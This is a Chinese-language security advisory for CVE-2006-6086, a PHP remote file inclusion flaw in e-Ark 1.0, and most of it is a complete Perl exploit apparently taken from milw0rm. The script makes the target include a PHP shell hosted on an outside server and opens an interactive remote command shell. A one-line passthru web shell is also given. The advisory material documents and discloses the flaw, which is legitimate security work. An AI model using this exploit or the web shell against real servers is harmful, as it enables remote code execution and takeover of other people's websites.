发布日期：2006-11-21
更新日期：2006-11-23

受影响系统：

E-Ark E-Ark

描述：

---

BUGTRAQ  ID: 21224
CVE ID: CVE-2006-6086

e-Ark 1.0内的src/ark_inc.php中存在PHP远程代码包含漏洞，通过URL内的cfg_pear_path参数，远程攻击者可利用此漏洞执行任意PHP代码。

<*来源：Dr.Trojan
  
  链接：http://secunia.com/advisories/23059
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
##
# Portal Name : e-Ark project Remote File Inclusion Exploit
#Exploit: http://[target]/[path]/src/ark_inc.php?cfg_pear_path=http://
#Vulnerable Code:require_once( $cfg_pear_path . 'PEAR.php' );
# Bug Found DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://mesh.dl.sourceforge.net/sourceforge/e-ark/e-ark-1.0.zip
#
##
# usage:perl delta.pl <target> <cmd shell location> <cmd shell variable>
#
#
# perl delta.pl  http://[target]/[path]/src http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
##
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Lord,Str0ke
#
# Contact:dr.trojan@deltahacking.net info@takserver.ir
##
# WebSite:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
##
#128 Bit Security Server:www.takserver.ir
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
                chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'ark_inc.php?cfg_pear_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[?..?.??]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
       $finreturn = $1;
       $finreturn=~ tr/[?..?.??]/[\n]/;
      print "\r\n$finreturn\n\r";
        last;
} else {print "[shell] \$";}}}last;

sub head()
{
print "\n============================================================================\r\n";
print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=128bit or 512 kbps *\r\n";
print "============================================================================\r\n";
  }
sub usage()
{
head();
print " Usage: perl delta.pl <target> <cmd shell location> <cmd shellvariable>\r\n\n";
print " <Site> - Full path to wob-0.1 ex: http://[target]/[path]/includes \r\n";
print "<cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "============================================================================\r\n";
print "                         Bug Found DeltahackingTEAM \r\n";
print "                       Iranian Are The Best In World \r\n";
print "Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagon\r\n";
print "                      http://milw0rm.deltahacking.net\r\n";
print "                         http://www.deltahacking.net\r\n";
print "============================================================================\r\n";
exit();
}

# milw0rm.com [2006-11-21]

建议：

---

厂商补丁：

E-Ark
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://mesh.dl.sourceforge.net/sourceforge/e-ark/e-ark-1.0.zip

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